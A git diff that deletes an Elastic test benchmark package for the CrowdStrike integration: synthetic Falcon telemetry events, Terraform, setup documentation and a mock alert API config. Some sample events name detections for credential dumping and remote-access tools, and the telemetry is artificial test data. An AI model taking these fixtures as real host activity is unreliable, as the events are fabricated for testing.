-{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"} -{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"} -{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1601546312519"} -{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"} -{"BootArgs":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"} -{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} -{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} -{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} -{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} -{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"} -{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":13140498271151144192,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf deleted file mode 100644 index ac47ae84b0..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf +++ /dev/null @@ -1,125 +0,0 @@ -provider "aws" { - default_tags { - tags = { - environment = var.ENVIRONMENT - repo = var.REPO - branch = var.BRANCH - build = var.BUILD_ID - created_date = var.CREATED_DATE - } - } -} - -resource "aws_s3_bucket" "crowdstrike_fdr" { - bucket = "${var.bucket_name}-${var.TEST_RUN_ID}" -} - -resource "aws_s3_object" "crowdstrike_data" { - bucket = aws_s3_bucket.crowdstrike_fdr.id - key = "data" - source = "./files/fdr-sample.log" -} - -resource "aws_s3_object" "crowdstrike_aidmaster" { - bucket = aws_s3_bucket.crowdstrike_fdr.id - key = "fdrv2/aidmaster" - source = "./files/fdr-0_aidmaster.log" -} - -resource "aws_s3_object" "crowdstrike_userinfo" { - bucket = aws_s3_bucket.crowdstrike_fdr.id - key = "fdrv2/userinfo" - source = "./files/fdr-0_userinfo.log" -} - -resource "aws_sqs_queue" "crowdstrike_queue" { - name = "elastic-package-crowdstrike-queue-${var.TEST_RUN_ID}" -} - -# IAM Policy for EventBridge Scheduler -resource "aws_iam_policy" "sqs_access_policy" { - count = var.eventbridge_role_arn == null ? 1 : 0 - name = "sqs-access-policy-${var.TEST_RUN_ID}" - description = "Policy for EventBridge Scheduler to send messages to SQS" - - policy = jsonencode({ - Version = "2012-10-17" - Statement = [ - { - Action = [ - "sqs:ReceiveMessage", - "sqs:SendMessage" - ], - Effect = "Allow" - Resource = aws_sqs_queue.crowdstrike_queue.arn - } - ] - }) -} - -# IAM Role for EventBridge Scheduler -resource "aws_iam_role" "eventbridge_scheduler_iam_role" { - count = var.eventbridge_role_arn == null ? 1 : 0 - name_prefix = "eb-scheduler-role-${var.TEST_RUN_ID}-" - managed_policy_arns = [aws_iam_policy.sqs_access_policy.0.arn] - path = "/" - assume_role_policy = <Note: Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration. - -2. **CrowdStrike REST API**: This provides a programmatic interface to interact with the CrowdStrike Falcon platform. It allows users to perform various operations such as querying information about unified alerts and hosts/devices. It includes the following datasets for receiving logs: - -- `alert` dataset: It is typically used to retrieve detailed information about unified alerts generated by the CrowdStrike Falcon platform, via Falcon Intelligence Alert API - `/alerts/combined/alerts/v1`. - -- `host` dataset: It retrieves all the hosts/devices in your environment providing information such as device metadata, configuration, and status generated by the CrowdStrike Falcon platform, via Falcon Intelligence Host/Device API - `/devices/combined/devices/v1`. For GovCloud CIDs it uses `/devices/queries/devices/v1` and `/devices/entities/devices/v2` endpoints. It is more focused to provide the management and monitoring information of devices such as login details, status, policies, configuration etc. - - > NOTE: GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint. - -- `vulnerability` dataset: It retrieves all the vulnerabilities in your environment, providing information such as severity, status, confidence levels, remediation guidance, and affected hosts, as detected by the CrowdStrike Falcon platform, via the Falcon Spotlight Vulnerability API - `/spotlight/combined/vulnerabilities/v1`. - -3. **Falcon Data Replicator**: This collects events from your endpoints, cloud workloads, identities, and data. CrowdStrike Falcon Data Replicator (FDR) enables you with actionable insights to improve SOC performance. FDR contains data collected by the Falcon platform's single, lightweight agent. It includes the following datasets for receiving logs: - -- `fdr` dataset: consists of logs forwarded using the [Falcon Data Replicator](https://github.com/CrowdStrike/FDR). In addition to the existing log types, the integration supports parsing of Cloud Security Posture Management (CSPM). CSPM contains Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events. - -4. **CrowdStrike Event Stream**: This streams security logs from CrowdStrike Event Stream, including authentication activity, cloud security posture management (CSPM), firewall logs, user activity, and XDR data. It captures real-time security events like user logins, cloud environment changes, network traffic, and advanced threat detections. The streaming integration provides continuous monitoring and analysis for proactive threat detection. It enhances visibility into user behavior, network security, and overall system health. This setup enables faster response capabilities to emerging security incidents. It includes the following datasets for receiving logs: - -- `falcon` dataset: consists of streaming data forwarded from CrowdStrike Event Stream. - -## Compatibility - -This integration is compatible with CrowdStrike Falcon SIEM-Connector-v2.0, REST API, and CrowdStrike Event Streaming. -For Rest API support, this module has been tested against the **CrowdStrike API Version v1/v2**. - -## Requirements - -### Agentless enabled integration -Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). - -Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. - -### Agent based installation - -Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md). -You can install only one Elastic Agent per host. -Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines. - -## Setup - -### Collect data from CrowdStrike REST API - -The following parameters from your CrowdStrike instance are required: - -1. Client ID -2. Client Secret -3. Token url -4. API Endpoint url -5. Required scopes for each data stream : - - | Data Stream | Scope | - | ------------- | ------------- | - | Alert | read:alert | - | Host | read:host | - | Vulnerability | read:vulnerability | - -### Collect data from CrowdStrike Event Stream - -The following parameters from your CrowdStrike instance are required: - -1. Client ID -2. Client Secret -3. Token URL -4. API Endpoint URL -5. CrowdStrike App ID -6. Required scopes for event stream: - - | Data Stream | Scope | - | ------------- | ------------------- | - | Event Stream | read: Event streams | - -## Logs - -### Alert - -This is the `Alert` dataset. - -#### Example - -{{event "alert"}} - -{{fields "alert"}} - -### FDR - -The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike -managed S3 buckets. CrowdStrike writes notification events to a CrowdStrike managed SQS queue when new data is available in S3. - -This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed -SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket -and the integration can read from there. - -In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic -Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time. - -#### Use with CrowdStrike managed S3/SQS - -This is the simplest way to setup the integration, and also the default. - -You need to set the integration up with the SQS queue URL provided by Crowdstrike FDR. - -#### Use with FDR tool and data replicated to a self-managed S3 bucket - -This option can be used if you want to archive the raw CrowdStrike data. - -You need to follow the steps below: - -- Create a S3 bucket to receive the logs. -- Create a SQS queue. -- Configure your S3 bucket to send object created notifications to your SQS queue. -- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket. -- Configure the integration to read from your self-managed SQS topic. - -> NOTE: While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files. - -#### Configuration for the S3 input - -AWS credentials are required for running this integration if you want to use the S3 input. - -##### Configuration parameters -* `access_key_id`: first part of access key. -* `secret_access_key`: second part of access key. -* `session_token`: required when using temporary security credentials. -* `credential_profile_name`: profile name in shared credentials file. -* `shared_credential_file`: directory of the shared credentials file. -* `endpoint`: URL of the entry point for an AWS web service. -* `role_arn`: AWS IAM Role to assume. - -##### Credential Types -There are three types of AWS credentials can be used: - -- access keys, -- temporary security credentials, and -- IAM role ARN. - -##### Access keys - -`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys. -They are long-term credentials for an IAM user, or the AWS account root user. -Please see [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys) -for more details. - -##### Temporary security credentials - -Temporary security credentials has a limited lifetime and consists of an -access key ID, a secret access key, and a security token which typically returned -from `GetSessionToken`. - -MFA-enabled IAM users would need to submit an MFA code -while calling `GetSessionToken`. `default_region` identifies the AWS Region -whose servers you want to send your first API request to by default. - -This is typically the Region closest to you, but it can be any Region. Please see -[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -for more details. - -`sts get-session-token` AWS CLI can be used to generate temporary credentials. -For example. with MFA-enabled: -```js -aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456 -``` - -Because temporary security credentials are short term, after they expire, the -user needs to generate new ones and manually update the package configuration in -order to continue collecting `aws` metrics. - -This will cause data loss if the configuration is not updated with new credentials before the old ones expire. - -##### IAM role ARN - -An IAM role is an IAM identity that you can create in your account that has -specific permissions that determine what the identity can and cannot do in AWS. - -A role does not have standard long-term credentials such as a password or access -keys associated with it. Instead, when you assume a role, it provides you with -temporary security credentials for your role session. -IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate -temporary credentials. - -Please see [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details. - -##### Supported Formats -1. Use access keys: Access keys include `access_key_id`, `secret_access_key` -and/or `session_token`. -2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume - for generating temporary credentials. - If `role_arn` is given, the package will check if access keys are given. - If not, the package will check for credential profile name. - If neither is given, default credential profile will be used. - - Please make sure credentials are given under either a credential profile or - access keys. -3. Use `credential_profile_name` and/or `shared_credential_file`: - If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then - the package will check for `credential_profile_name`. - If you use different credentials for different tools or applications, you can use profiles to - configure multiple access keys in the same configuration file. - If there is no `credential_profile_name` given, the default profile will be used. - `shared_credential_file` is optional to specify the directory of your shared - credentials file. - If it's empty, the default directory will be used. - In Windows, shared credentials file is at `C:\Users\\.aws\credentials`. - For Linux, macOS or Unix, the file locates at `~/.aws/credentials`. - Please see[Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html) - for more details. - -#### Troubleshooting - -##### Vulnerability API returns 404 Not found - -This error may occur for the following reasons: -1. Too many records in the response. -2. The pagination token has expired. Tokens expire 120 seconds after a call is made. - -To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call. - -##### Duplicate Events - -The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events may be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of Crowdstrike fields that uniquely identifies the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique, thus avoiding duplicates. - -If duplicate events are ingested, to help find them, the integration `event.id` field is populated by concatenating a few Crowdstrike fields that uniquely identifies the event. These fields are `id`, `aid`, and `cid` from the Crowdstrike event. The fields are separated with pipe `|`. -For example, if your Crowdstrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`. - -#### Alert severity mapping - -The values used in `event.severity` are consistent with Elastic Detection Rules. - -| Severity Name | `event.severity` | -|----------------------------|:----------------:| -| Low, Info or Informational | 21 | -| Medium | 47 | -| High | 73 | -| Critical | 99 | - -If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table. - -| Crowdstrike `severity` | Severity Name | -|------------------------|:-------------:| -| 0 - 19 | info | -| 20 - 39 | low | -| 40 - 59 | medium | -| 60 - 79 | high | -| 80 - 100 | critical | - -#### Example - -{{fields "fdr"}} - -{{event "fdr"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml deleted file mode 100644 index 774034e0c2..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml +++ /dev/null @@ -1,41 +0,0 @@ -version: '2.3' -services: - crowdstrike-alert: - image: docker.elastic.co/observability/stream:v0.18.0 - hostname: crowdstrike-alert - ports: - - 8090 - volumes: - - ./files:/files:ro - environment: - PORT: '8090' - command: - - http-server - - --addr=:8090 - - --config=/files/config-alert.yml - crowdstrike-host: - image: docker.elastic.co/observability/stream:v0.18.0 - hostname: crowdstrike-host - ports: - - 8090 - volumes: - - ./files:/files:ro - environment: - PORT: '8090' - command: - - http-server - - --addr=:8090 - - --config=/files/config-host.yml - crowdstrike-vulnerability: - image: docker.elastic.co/observability/stream:v0.18.0 - hostname: crowdstrike-vulnerability - ports: - - 8090 - volumes: - - ./files:/files:ro - environment: - PORT: '8090' - command: - - http-server - - --addr=:8090 - - --config=/files/config-vulnerability.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml deleted file mode 100644 index 3857adee1a..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml +++ /dev/null @@ -1,475 +0,0 @@ -rules: - - path: /oauth2/token - methods: ['POST'] - responses: - - status_code: 200 - headers: - Content-Type: - - 'application/json' - body: | - {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"} - - path: /alerts/combined/alerts/v1 - methods: ['POST'] - request_body: /.*"page-2"*/ - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - {{ minify_json ` - { - "meta": { - "pagination": { - "total": 3, - "limit": 1 - } - }, - "errors": [], - "resources": [ - { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": "false", - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985020992Z", - "created_timestamp": "2023-11-03T18:01:23.995794943Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": "0", - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": "3", - "device_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "last_seen": "2023-11-03T17:51:42Z", - "local_ip": "81.2.69.142", - "mac_address": "ab-21-48-61-05-b2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43Z", - "os_version": 